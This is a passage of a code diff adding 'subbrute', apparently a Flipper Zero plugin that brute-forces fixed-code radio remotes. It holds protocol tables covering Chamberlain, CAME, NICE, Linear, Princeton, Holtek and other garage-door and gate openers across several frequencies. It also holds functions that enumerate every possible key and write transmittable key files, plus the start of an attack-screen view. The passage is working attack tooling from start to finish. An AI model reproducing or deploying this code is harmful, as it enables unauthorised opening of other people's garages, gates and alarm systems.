= 315000000, + .bits = 9, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 9bit 390MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_9bit_390 = { + .frequency = 390000000, + .bits = 9, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 9bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_9bit_433 = { + .frequency = 433920000, + .bits = 9, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 8bit 300MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_8bit_300 = { + .frequency = 300000000, + .bits = 8, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 8bit 315MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_8bit_315 = { + .frequency = 315000000, + .bits = 8, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 8bit 390MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_8bit_390 = { + .frequency = 390000000, + .bits = 8, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 7bit 300MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_7bit_300 = { + .frequency = 300000000, + .bits = 7, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 7bit 315MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_7bit_315 = { + .frequency = 315000000, + .bits = 7, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 7bit 390MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_7bit_390 = { + .frequency = 390000000, + .bits = 7, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Linear 10bit 300MHz + */ +const SubBruteProtocol subbrute_protocol_linear_10bit_300 = { + .frequency = 300000000, + .bits = 10, + .te = 0, + .repeat = 5, + .preset = FuriHalSubGhzPresetOok650Async, + .file = LinearFileProtocol}; + +/** + * Linear 10bit 310MHz + */ +const SubBruteProtocol subbrute_protocol_linear_10bit_310 = { + .frequency = 310000000, + .bits = 10, + .te = 0, + .repeat = 5, + .preset = FuriHalSubGhzPresetOok650Async, + .file = LinearFileProtocol}; + +/** + * Linear Delta 3 8bit 310MHz + */ +const SubBruteProtocol subbrute_protocol_linear_delta_8bit_310 = { + .frequency = 310000000, + .bits = 8, + .te = 0, + .repeat = 5, + .preset = FuriHalSubGhzPresetOok650Async, + .file = LinearDeltaFileProtocol}; + +/** + * UNILARM 24bit 330MHz + */ +const SubBruteProtocol subbrute_protocol_unilarm_24bit_330 = { + .frequency = 330000000, + .bits = 25, + .te = 209, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = UNILARMFileProtocol}; + +/** + * UNILARM 24bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_unilarm_24bit_433 = { + .frequency = 433920000, + .bits = 25, + .te = 209, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = UNILARMFileProtocol}; + +/** + * SMC5326 24bit 330MHz + */ +const SubBruteProtocol subbrute_protocol_smc5326_24bit_330 = { + .frequency = 330000000, + .bits = 25, + .te = 320, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = SMC5326FileProtocol}; + +/** + * SMC5326 24bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_smc5326_24bit_433 = { + .frequency = 433920000, + .bits = 25, + .te = 320, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = SMC5326FileProtocol}; + +/** + * PT2260 (Princeton) 24bit 315MHz + */ +const SubBruteProtocol subbrute_protocol_pt2260_24bit_315 = { + .frequency = 315000000, + .bits = 24, + .te = 286, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = PT2260FileProtocol}; + +/** + * PT2260 (Princeton) 24bit 330MHz + */ +const SubBruteProtocol subbrute_protocol_pt2260_24bit_330 = { + .frequency = 330000000, + .bits = 24, + .te = 286, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = PT2260FileProtocol}; + +/** + * PT2260 (Princeton) 24bit 390MHz + */ +const SubBruteProtocol subbrute_protocol_pt2260_24bit_390 = { + .frequency = 390000000, + .bits = 24, + .te = 286, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = PT2260FileProtocol}; + +/** + * PT2260 (Princeton) 24bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_pt2260_24bit_433 = { + .frequency = 433920000, + .bits = 24, + .te = 286, + .repeat = 4, + .preset = FuriHalSubGhzPresetOok650Async, + .file = PT2260FileProtocol}; + +/** + * Holtek FM 12bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_holtek_12bit_433 = { + .frequency = 433920000, + .bits = 12, + .te = 204, + .repeat = 4, + .preset = FuriHalSubGhzPreset2FSKDev476Async, + .file = HoltekFileProtocol}; + +/** + * Holtek AM 12bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_holtek_12bit_am_433 = { + .frequency = 433920000, + .bits = 12, + .te = 433, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = HoltekFileProtocol}; + +/** + * Holtek AM 12bit 315MHz + */ +const SubBruteProtocol subbrute_protocol_holtek_12bit_am_315 = { + .frequency = 315000000, + .bits = 12, + .te = 433, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = HoltekFileProtocol}; + +/** + * Holtek AM 12bit 868MHz + */ +const SubBruteProtocol subbrute_protocol_holtek_12bit_am_868 = { + .frequency = 868350000, + .bits = 12, + .te = 433, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = HoltekFileProtocol}; + +/** + * Holtek AM 12bit 915MHz + */ +const SubBruteProtocol subbrute_protocol_holtek_12bit_am_915 = { + .frequency = 915000000, + .bits = 12, + .te = 433, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = HoltekFileProtocol}; + +/** + * BF existing dump + */ +const SubBruteProtocol subbrute_protocol_load_file = + {0, 0, 0, 3, FuriHalSubGhzPresetOok650Async, UnknownFileProtocol}; + +static const char* subbrute_protocol_names[] = { + [SubBruteAttackCAME12bit303] = "CAME 12bit 303MHz", + [SubBruteAttackCAME12bit307] = "CAME 12bit 307MHz", + [SubBruteAttackCAME12bit315] = "CAME 12bit 315MHz", + [SubBruteAttackCAME12bit433] = "CAME 12bit 433MHz", + [SubBruteAttackCAME12bit868] = "CAME 12bit 868MHz", + [SubBruteAttackNICE12bit433] = "NICE 12bit 433MHz", + [SubBruteAttackNICE12bit868] = "NICE 12bit 868MHz", + [SubBruteAttackAnsonic12bit433075] = "Ansonic 12bit 433.07MHz", + [SubBruteAttackAnsonic12bit433] = "Ansonic 12bit 433.92MHz", + [SubBruteAttackAnsonic12bit434] = "Ansonic 12bit 434.07MHz", + [SubBruteAttackHoltek12bitFM433] = "Holtek FM 12bit 433MHz", + [SubBruteAttackHoltek12bitAM433] = "Holtek AM 12bit 433MHz", + [SubBruteAttackHoltek12bitAM315] = "Holtek AM 12bit 315MHz", + [SubBruteAttackHoltek12bitAM868] = "Holtek AM 12bit 868MHz", + [SubBruteAttackHoltek12bitAM915] = "Holtek AM 12bit 915MHz", + [SubBruteAttackChamberlain9bit300] = "Chamberlain 9bit 300MHz", + [SubBruteAttackChamberlain9bit315] = "Chamberlain 9bit 315MHz", + [SubBruteAttackChamberlain9bit390] = "Chamberlain 9bit 390MHz", + [SubBruteAttackChamberlain9bit433] = "Chamberlain 9bit 433MHz", + [SubBruteAttackChamberlain8bit300] = "Chamberlain 8bit 300MHz", + [SubBruteAttackChamberlain8bit315] = "Chamberlain 8bit 315MHz", + [SubBruteAttackChamberlain8bit390] = "Chamberlain 8bit 390MHz", + [SubBruteAttackChamberlain7bit300] = "Chamberlain 7bit 300MHz", + [SubBruteAttackChamberlain7bit315] = "Chamberlain 7bit 315MHz", + [SubBruteAttackChamberlain7bit390] = "Chamberlain 7bit 390MHz", + [SubBruteAttackLinear10bit300] = "Linear 10bit 300MHz", + [SubBruteAttackLinear10bit310] = "Linear 10bit 310MHz", + [SubBruteAttackLinearDelta8bit310] = "LinearDelta3 8bit 310MHz", + [SubBruteAttackUNILARM24bit330] = "UNILARM 25bit 330MHz", + [SubBruteAttackUNILARM24bit433] = "UNILARM 25bit 433MHz", + [SubBruteAttackSMC532624bit330] = "SMC5326 25bit 330MHz", + [SubBruteAttackSMC532624bit433] = "SMC5326 25bit 433MHz", + [SubBruteAttackPT226024bit315] = "PT2260 24bit 315MHz", + [SubBruteAttackPT226024bit330] = "PT2260 24bit 330MHz", + [SubBruteAttackPT226024bit390] = "PT2260 24bit 390MHz", + [SubBruteAttackPT226024bit433] = "PT2260 24bit 433MHz", + [SubBruteAttackLoadFile] = "BF existing dump", + [SubBruteAttackTotalCount] = "Total Count", +}; + +static const char* subbrute_protocol_presets[] = { + [FuriHalSubGhzPresetIDLE] = "FuriHalSubGhzPresetIDLE", + [FuriHalSubGhzPresetOok270Async] = "FuriHalSubGhzPresetOok270Async", + [FuriHalSubGhzPresetOok650Async] = "FuriHalSubGhzPresetOok650Async", + [FuriHalSubGhzPreset2FSKDev238Async] = "FuriHalSubGhzPreset2FSKDev238Async", + [FuriHalSubGhzPreset2FSKDev476Async] = "FuriHalSubGhzPreset2FSKDev476Async", + [FuriHalSubGhzPresetMSK99_97KbAsync] = "FuriHalSubGhzPresetMSK99_97KbAsync", + [FuriHalSubGhzPresetGFSK9_99KbAsync] = "FuriHalSubGhzPresetGFSK9_99KbAsync", +}; + +const SubBruteProtocol* subbrute_protocol_registry[] = { + [SubBruteAttackCAME12bit303] = &subbrute_protocol_came_12bit_303, + [SubBruteAttackCAME12bit307] = &subbrute_protocol_came_12bit_307, + [SubBruteAttackCAME12bit315] = &subbrute_protocol_came_12bit_315, + [SubBruteAttackCAME12bit433] = &subbrute_protocol_came_12bit_433, + [SubBruteAttackCAME12bit868] = &subbrute_protocol_came_12bit_868, + [SubBruteAttackNICE12bit433] = &subbrute_protocol_nice_12bit_433, + [SubBruteAttackNICE12bit868] = &subbrute_protocol_nice_12bit_868, + [SubBruteAttackAnsonic12bit433075] = &subbrute_protocol_ansonic_12bit_433075, + [SubBruteAttackAnsonic12bit433] = &subbrute_protocol_ansonic_12bit_433, + [SubBruteAttackAnsonic12bit434] = &subbrute_protocol_ansonic_12bit_434, + [SubBruteAttackHoltek12bitFM433] = &subbrute_protocol_holtek_12bit_433, + [SubBruteAttackHoltek12bitAM433] = &subbrute_protocol_holtek_12bit_am_433, + [SubBruteAttackHoltek12bitAM315] = &subbrute_protocol_holtek_12bit_am_315, + [SubBruteAttackHoltek12bitAM868] = &subbrute_protocol_holtek_12bit_am_868, + [SubBruteAttackHoltek12bitAM915] = &subbrute_protocol_holtek_12bit_am_915, + [SubBruteAttackChamberlain9bit300] = &subbrute_protocol_chamberlain_9bit_300, + [SubBruteAttackChamberlain9bit315] = &subbrute_protocol_chamberlain_9bit_315, + [SubBruteAttackChamberlain9bit390] = &subbrute_protocol_chamberlain_9bit_390, + [SubBruteAttackChamberlain9bit433] = &subbrute_protocol_chamberlain_9bit_433, + [SubBruteAttackChamberlain8bit300] = &subbrute_protocol_chamberlain_8bit_300, + [SubBruteAttackChamberlain8bit315] = &subbrute_protocol_chamberlain_8bit_315, + [SubBruteAttackChamberlain8bit390] = &subbrute_protocol_chamberlain_8bit_390, + [SubBruteAttackChamberlain7bit300] = &subbrute_protocol_chamberlain_7bit_300, + [SubBruteAttackChamberlain7bit315] = &subbrute_protocol_chamberlain_7bit_315, + [SubBruteAttackChamberlain7bit390] = &subbrute_protocol_chamberlain_7bit_390, + [SubBruteAttackLinear10bit300] = &subbrute_protocol_linear_10bit_300, + [SubBruteAttackLinear10bit310] = &subbrute_protocol_linear_10bit_310, + [SubBruteAttackLinearDelta8bit310] = &subbrute_protocol_linear_delta_8bit_310, + [SubBruteAttackUNILARM24bit330] = &subbrute_protocol_unilarm_24bit_330, + [SubBruteAttackUNILARM24bit433] = &subbrute_protocol_unilarm_24bit_433, + [SubBruteAttackSMC532624bit330] = &subbrute_protocol_smc5326_24bit_330, + [SubBruteAttackSMC532624bit433] = &subbrute_protocol_smc5326_24bit_433, + [SubBruteAttackPT226024bit315] = &subbrute_protocol_pt2260_24bit_315, + [SubBruteAttackPT226024bit330] = &subbrute_protocol_pt2260_24bit_330, + [SubBruteAttackPT226024bit390] = &subbrute_protocol_pt2260_24bit_390, + [SubBruteAttackPT226024bit433] = &subbrute_protocol_pt2260_24bit_433, + [SubBruteAttackLoadFile] = &subbrute_protocol_load_file}; + +static const char* subbrute_protocol_file_types[] = { + [CAMEFileProtocol] = "CAME", + [NICEFileProtocol] = "Nice FLO", + [ChamberlainFileProtocol] = "Cham_Code", + [LinearFileProtocol] = "Linear", + [LinearDeltaFileProtocol] = "LinearDelta3", + [PrincetonFileProtocol] = "Princeton", + [RAWFileProtocol] = "RAW", + [BETTFileProtocol] = "BETT", + [ClemsaFileProtocol] = "Clemsa", + [DoitrandFileProtocol] = "Doitrand", + [GateTXFileProtocol] = "GateTX", + [MagellanFileProtocol] = "Magellan", + [IntertechnoV3FileProtocol] = "Intertechno_V3", + [AnsonicFileProtocol] = "Ansonic", + [SMC5326FileProtocol] = "SMC5326", + [UNILARMFileProtocol] = "SMC5326", + [PT2260FileProtocol] = "Princeton", + [HoneywellFileProtocol] = "Honeywell", + [HoltekFileProtocol] = "Holtek_HT12X", + [UnknownFileProtocol] = "Unknown"}; + +/** + * Values to not use less memory for packet parse operations + */ +static const char* subbrute_key_file_start_no_tail = + "Filetype: Flipper SubGhz Key File\nVersion: 1\nFrequency: %u\nPreset: %s\nProtocol: %s\nBit: %d\nKey: %s\nRepeat: %d\n"; +static const char* subbrute_key_file_start_with_tail = + "Filetype: Flipper SubGhz Key File\nVersion: 1\nFrequency: %u\nPreset: %s\nProtocol: %s\nBit: %d\nKey: %s\nTE: %d\nRepeat: %d\n"; +static const char* subbrute_key_small_no_tail = "Bit: %d\nKey: %s\nRepeat: %d\n"; +//static const char* subbrute_key_small_raw = +// "Filetype: Flipper SubGhz Key File\nVersion: 1\nFrequency: %u\nPreset: %s\nProtocol: %s\nBit: %d\n"; +static const char* subbrute_key_small_with_tail = "Bit: %d\nKey: %s\nTE: %d\nRepeat: %d\n"; + +const char* subbrute_protocol_name(SubBruteAttacks index) { + return subbrute_protocol_names[index]; +} + +const SubBruteProtocol* subbrute_protocol(SubBruteAttacks index) { + return subbrute_protocol_registry[index]; +} + +uint8_t subbrute_protocol_repeats_count(SubBruteAttacks index) { + return subbrute_protocol_registry[index]->repeat; +} + +const char* subbrute_protocol_preset(FuriHalSubGhzPreset preset) { + return subbrute_protocol_presets[preset]; +} + +const char* subbrute_protocol_file(SubBruteFileProtocol protocol) { + return subbrute_protocol_file_types[protocol]; +} + +FuriHalSubGhzPreset subbrute_protocol_convert_preset(FuriString* preset_name) { + for(size_t i = FuriHalSubGhzPresetIDLE; i < FuriHalSubGhzPresetCustom; i++) { + if(furi_string_cmp_str(preset_name, subbrute_protocol_presets[i]) == 0) { + return i; + } + } + + return FuriHalSubGhzPresetIDLE; +} + +SubBruteFileProtocol subbrute_protocol_file_protocol_name(FuriString* name) { + for(size_t i = CAMEFileProtocol; i < TotalFileProtocol - 1; i++) { + if(furi_string_cmp_str(name, subbrute_protocol_file_types[i]) == 0) { + return i; + } + } + + return UnknownFileProtocol; +} + +void subbrute_protocol_create_candidate_for_existing_file( + FuriString* candidate, + uint64_t step, + uint8_t bit_index, + uint64_t file_key, + bool two_bytes) { + uint8_t p[8]; + for(int i = 0; i < 8; i++) { + p[i] = (uint8_t)(file_key >> 8 * (7 - i)) & 0xFF; + } + uint8_t low_byte = step & (0xff); + uint8_t high_byte = (step >> 8) & 0xff; + + size_t size = sizeof(uint64_t); + for(uint8_t i = 0; i < size; i++) { + if(i == bit_index - 1 && two_bytes) { + furi_string_cat_printf(candidate, "%02X %02X", high_byte, low_byte); + i++; + } else if(i == bit_index) { + furi_string_cat_printf(candidate, "%02X", low_byte); + } else if(p[i] != 0) { + furi_string_cat_printf(candidate, "%02X", p[i]); + } else { + furi_string_cat_printf(candidate, "%s", "00"); + } + + if(i < size - 1) { + furi_string_push_back(candidate, ' '); + } + } + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "file candidate: %s, step: %lld", furi_string_get_cstr(candidate), step); +#endif +} + +void subbrute_protocol_create_candidate_for_default( + FuriString* candidate, + SubBruteFileProtocol file, + uint64_t step) { + uint8_t p[8]; + if(file == SMC5326FileProtocol) { + const uint8_t lut[] = {0x00, 0x02, 0x03}; // 00, 10, 11 + const uint64_t gate1 = 0x01D5; // 111010101 + //const uint8_t gate2 = 0x0175; // 101110101 + + uint64_t total = 0; + for(size_t j = 0; j < 8; j++) { + total |= lut[step % 3] << (2 * j); + double sub_step = step / 3; + step = (uint64_t)floor(sub_step); + } + total <<= 9; + total |= gate1; + + for(int i = 0; i < 8; i++) { + p[i] = (uint8_t)(total >> 8 * (7 - i)) & 0xFF; + } + } else if(file == UNILARMFileProtocol) { + const uint8_t lut[] = {0x00, 0x02, 0x03}; // 00, 10, 11 + const uint64_t gate1 = 3 << 7; + //const uint8_t gate2 = 3 << 5; + + uint64_t total = 0; + for(size_t j = 0; j < 8; j++) { + total |= lut[step % 3] << (2 * j); + double sub_step = step / 3; + step = (uint64_t)floor(sub_step); + } + total <<= 9; + total |= gate1; + + for(int i = 0; i < 8; i++) { + p[i] = (uint8_t)(total >> 8 * (7 - i)) & 0xFF; + } + } else if(file == PT2260FileProtocol) { + const uint8_t lut[] = {0x00, 0x01, 0x03}; // 00, 01, 11 + const uint64_t button_open = 0x03; // 11 + //const uint8_t button_lock = 0x0C; // 1100 + //const uint8_t button_stop = 0x30; // 110000 + //const uint8_t button_close = 0xC0; // 11000000 + + uint64_t total = 0; + for(size_t j = 0; j < 8; j++) { + total |= lut[step % 3] << (2 * j); + double sub_step = step / 3; + step = (uint64_t)floor(sub_step); + } + total <<= 8; + total |= button_open; + + for(int i = 0; i < 8; i++) { + p[i] = (uint8_t)(total >> 8 * (7 - i)) & 0xFF; + } + } else { + for(int i = 0; i < 8; i++) { + p[i] = (uint8_t)(step >> 8 * (7 - i)) & 0xFF; + } + } + + size_t size = sizeof(uint64_t); + for(uint8_t i = 0; i < size; i++) { + if(p[i] != 0) { + furi_string_cat_printf(candidate, "%02X", p[i]); + } else { + furi_string_cat_printf(candidate, "%s", "00"); + } + + if(i < size - 1) { + furi_string_push_back(candidate, ' '); + } + } + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "candidate: %s, step: %lld", furi_string_get_cstr(candidate), step); +#endif +} + +void subbrute_protocol_default_payload( + Stream* stream, + SubBruteFileProtocol file, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat) { + FuriString* candidate = furi_string_alloc(); + subbrute_protocol_create_candidate_for_default(candidate, file, step); + +#ifdef FURI_DEBUG + FURI_LOG_D( + TAG, + "candidate: %s, step: %lld, repeat: %d, te: %s", + furi_string_get_cstr(candidate), + step, + repeat, + te ? "true" : "false"); +#endif + stream_clean(stream); + if(te) { + stream_write_format( + stream, + subbrute_key_small_with_tail, + bits, + furi_string_get_cstr(candidate), + te, + repeat); + } else { + stream_write_format( + stream, subbrute_key_small_no_tail, bits, furi_string_get_cstr(candidate), repeat); + } + + furi_string_free(candidate); +} + +void subbrute_protocol_file_payload( + Stream* stream, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat, + uint8_t bit_index, + uint64_t file_key, + bool two_bytes) { + FuriString* candidate = furi_string_alloc(); + subbrute_protocol_create_candidate_for_existing_file( + candidate, step, bit_index, file_key, two_bytes); + +#ifdef FURI_DEBUG + FURI_LOG_D( + TAG, + "candidate: %s, step: %lld, repeat: %d, te: %s", + furi_string_get_cstr(candidate), + step, + repeat, + te ? "true" : "false"); +#endif + stream_clean(stream); + + if(te) { + stream_write_format( + stream, + subbrute_key_small_with_tail, + bits, + furi_string_get_cstr(candidate), + te, + repeat); + } else { + stream_write_format( + stream, subbrute_key_small_no_tail, bits, furi_string_get_cstr(candidate), repeat); + } + + furi_string_free(candidate); +} + +void subbrute_protocol_default_generate_file( + Stream* stream, + uint32_t frequency, + FuriHalSubGhzPreset preset, + SubBruteFileProtocol file, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat) { + FuriString* candidate = furi_string_alloc(); + subbrute_protocol_create_candidate_for_default(candidate, file, step); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "candidate: %s, step: %lld", furi_string_get_cstr(candidate), step); +#endif + stream_clean(stream); + + if(te) { + stream_write_format( + stream, + subbrute_key_file_start_with_tail, + frequency, + subbrute_protocol_preset(preset), + subbrute_protocol_file(file), + bits, + furi_string_get_cstr(candidate), + te, + repeat); + } else { + stream_write_format( + stream, + subbrute_key_file_start_no_tail, + frequency, + subbrute_protocol_preset(preset), + subbrute_protocol_file(file), + bits, + furi_string_get_cstr(candidate), + repeat); + } + + furi_string_free(candidate); +} + +void subbrute_protocol_file_generate_file( + Stream* stream, + uint32_t frequency, + FuriHalSubGhzPreset preset, + SubBruteFileProtocol file, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat, + uint8_t bit_index, + uint64_t file_key, + bool two_bytes) { + FuriString* candidate = furi_string_alloc(); + // char subbrute_payload_byte[8]; + //furi_string_set_str(candidate, file_key); + subbrute_protocol_create_candidate_for_existing_file( + candidate, step, bit_index, file_key, two_bytes); + + stream_clean(stream); + if(te) { + stream_write_format( + stream, + subbrute_key_file_start_with_tail, + frequency, + subbrute_protocol_preset(preset), + subbrute_protocol_file(file), + bits, + furi_string_get_cstr(candidate), + te, + repeat); + } else { + stream_write_format( + stream, + subbrute_key_file_start_no_tail, + frequency, + subbrute_protocol_preset(preset), + subbrute_protocol_file(file), + bits, + furi_string_get_cstr(candidate), + repeat); + } + + furi_string_free(candidate); +} + +uint64_t + subbrute_protocol_calc_max_value(SubBruteAttacks attack_type, uint8_t bits, bool two_bytes) { + uint64_t max_value; + if(attack_type == SubBruteAttackLoadFile) { + max_value = two_bytes ? 0xFFFF : 0xFF; + } else if( + attack_type == SubBruteAttackSMC532624bit330 || + attack_type == SubBruteAttackSMC532624bit433 || + attack_type == SubBruteAttackUNILARM24bit330 || + attack_type == SubBruteAttackUNILARM24bit433 || + attack_type == SubBruteAttackPT226024bit315 || + attack_type == SubBruteAttackPT226024bit330 || + attack_type == SubBruteAttackPT226024bit390 || + attack_type == SubBruteAttackPT226024bit433) { + max_value = 6561; + } else { + FuriString* max_value_s; + max_value_s = furi_string_alloc(); + for(uint8_t i = 0; i < bits; i++) { + furi_string_cat_printf(max_value_s, "1"); + } + max_value = (uint64_t)strtol(furi_string_get_cstr(max_value_s), NULL, 2); + furi_string_free(max_value_s); + } + + return max_value; +} \ No newline at end of file diff --git a/applications/plugins/subbrute/subbrute_protocols.h b/applications/plugins/subbrute/subbrute_protocols.h new file mode 100644 index 000000000..2f41b185b --- /dev/null +++ b/applications/plugins/subbrute/subbrute_protocols.h @@ -0,0 +1,128 @@ +#pragma once + +#include +#include +#include +#include + +typedef enum { + CAMEFileProtocol, + NICEFileProtocol, + ChamberlainFileProtocol, + LinearFileProtocol, + LinearDeltaFileProtocol, + PrincetonFileProtocol, + RAWFileProtocol, + BETTFileProtocol, + ClemsaFileProtocol, + DoitrandFileProtocol, + GateTXFileProtocol, + MagellanFileProtocol, + IntertechnoV3FileProtocol, + AnsonicFileProtocol, + SMC5326FileProtocol, + UNILARMFileProtocol, + PT2260FileProtocol, + HoneywellFileProtocol, + HoltekFileProtocol, + UnknownFileProtocol, + TotalFileProtocol, +} SubBruteFileProtocol; + +typedef enum { + SubBruteAttackCAME12bit303, + SubBruteAttackCAME12bit307, + SubBruteAttackCAME12bit315, + SubBruteAttackCAME12bit433, + SubBruteAttackCAME12bit868, + SubBruteAttackNICE12bit433, + SubBruteAttackNICE12bit868, + SubBruteAttackAnsonic12bit433075, + SubBruteAttackAnsonic12bit433, + SubBruteAttackAnsonic12bit434, + SubBruteAttackHoltek12bitFM433, + SubBruteAttackHoltek12bitAM433, + SubBruteAttackHoltek12bitAM315, + SubBruteAttackHoltek12bitAM868, + SubBruteAttackHoltek12bitAM915, + SubBruteAttackChamberlain9bit300, + SubBruteAttackChamberlain9bit315, + SubBruteAttackChamberlain9bit390, + SubBruteAttackChamberlain9bit433, + SubBruteAttackChamberlain8bit300, + SubBruteAttackChamberlain8bit315, + SubBruteAttackChamberlain8bit390, + SubBruteAttackChamberlain7bit300, + SubBruteAttackChamberlain7bit315, + SubBruteAttackChamberlain7bit390, + SubBruteAttackLinear10bit300, + SubBruteAttackLinear10bit310, + SubBruteAttackLinearDelta8bit310, + SubBruteAttackUNILARM24bit330, + SubBruteAttackUNILARM24bit433, + SubBruteAttackSMC532624bit330, + SubBruteAttackSMC532624bit433, + SubBruteAttackPT226024bit315, + SubBruteAttackPT226024bit330, + SubBruteAttackPT226024bit390, + SubBruteAttackPT226024bit433, + SubBruteAttackLoadFile, + SubBruteAttackTotalCount, +} SubBruteAttacks; + +typedef struct { + uint32_t frequency; + uint8_t bits; + uint32_t te; + uint8_t repeat; + FuriHalSubGhzPreset preset; + SubBruteFileProtocol file; +} SubBruteProtocol; + +const SubBruteProtocol* subbrute_protocol(SubBruteAttacks index); +const char* subbrute_protocol_preset(FuriHalSubGhzPreset preset); +const char* subbrute_protocol_file(SubBruteFileProtocol protocol); +FuriHalSubGhzPreset subbrute_protocol_convert_preset(FuriString* preset_name); +SubBruteFileProtocol subbrute_protocol_file_protocol_name(FuriString* name); +uint8_t subbrute_protocol_repeats_count(SubBruteAttacks index); +const char* subbrute_protocol_name(SubBruteAttacks index); + +void subbrute_protocol_default_payload( + Stream* stream, + SubBruteFileProtocol file, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat); +void subbrute_protocol_file_payload( + Stream* stream, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat, + uint8_t bit_index, + uint64_t file_key, + bool two_bytes); +void subbrute_protocol_default_generate_file( + Stream* stream, + uint32_t frequency, + FuriHalSubGhzPreset preset, + SubBruteFileProtocol file, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat); +void subbrute_protocol_file_generate_file( + Stream* stream, + uint32_t frequency, + FuriHalSubGhzPreset preset, + SubBruteFileProtocol file, + uint64_t step, + uint8_t bits, + uint32_t te, + uint8_t repeat, + uint8_t bit_index, + uint64_t file_key, + bool two_bytes); +uint64_t + subbrute_protocol_calc_max_value(SubBruteAttacks attack_type, uint8_t bits, bool two_bytes); \ No newline at end of file diff --git a/applications/plugins/subbrute/views/subbrute_attack_view.c b/applications/plugins/subbrute/views/subbrute_attack_view.c new file mode 100644 index 000000000..d7770bb44 --- /dev/null +++ b/applications/plugins/subbrute/views/subbrute_attack_view.c @@ -0,0 +1,341 @@ +#include "subbrute_attack_view.h" +#include "../subbrute_i.h" +#include "../subbrute_protocols.h" +#include "../helpers/gui_top_buttons.h" + +#include +#include +#include +#include +#include + +#define TAG "SubBruteAttackView" + +struct SubBruteAttackView { + View* view; + SubBruteAttackViewCallback callback; + void* context; + SubBruteAttacks attack_type; + uint64_t max_value; + uint64_t current_step; + bool is_attacking; + uint8_t extra_repeats; +}; + +typedef struct { + SubBruteAttacks attack_type; + uint64_t max_value; + uint64_t current_step; + uint8_t extra_repeats; + bool is_attacking; + IconAnimation* icon; +} SubBruteAttackViewModel; + +void subbrute_attack_view_set_callback( + SubBruteAttackView* instance, + SubBruteAttackViewCallback callback, + void* context) { + furi_assert(instance); + furi_assert(callback); + + instance->callback = callback; + instance->context = context; +} + +bool subbrute_attack_view_input(InputEvent* event, void* context) { + furi_assert(event); + furi_assert(context); + SubBruteAttackView* instance = context; +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "InputKey: %d", event->key); +#endif + + if(event->key == InputKeyBack && event->type == InputTypeShort) { + instance->is_attacking = false; + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { model->is_attacking = false; }, + true); + + instance->callback(SubBruteCustomEventTypeBackPressed, instance->context); + return true; + } + + bool update = false; + + if(!instance->is_attacking) { + if(event->type == InputTypeShort && event->key == InputKeyOk) { +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "InputKey: %d OK", event->key); +#endif + instance->is_attacking = true; + instance->callback(SubBruteCustomEventTypeTransmitStarted, instance->context); + update = true; + } else if(event->key == InputKeyUp) { + instance->callback(SubBruteCustomEventTypeSaveFile, instance->context); + update = true; + } else if(event->key == InputKeyDown) { + instance->callback(SubBruteCustomEventTypeTransmitCustom, instance->context); + update = true; + } else if(event->type == InputTypeShort) { + if(event->key == InputKeyLeft) { + instance->callback(SubBruteCustomEventTypeChangeStepDown, instance->context); + } else if(event->key == InputKeyRight) { + instance->callback(SubBruteCustomEventTypeChangeStepUp, instance->context); + } + update = true; + } else if(event->type == InputTypeRepeat) { + if(event->key == InputKeyLeft) { + instance->callback(SubBruteCustomEventTypeChangeStepDownMore, instance->context); + } else if(event->key == InputKeyRight) { + 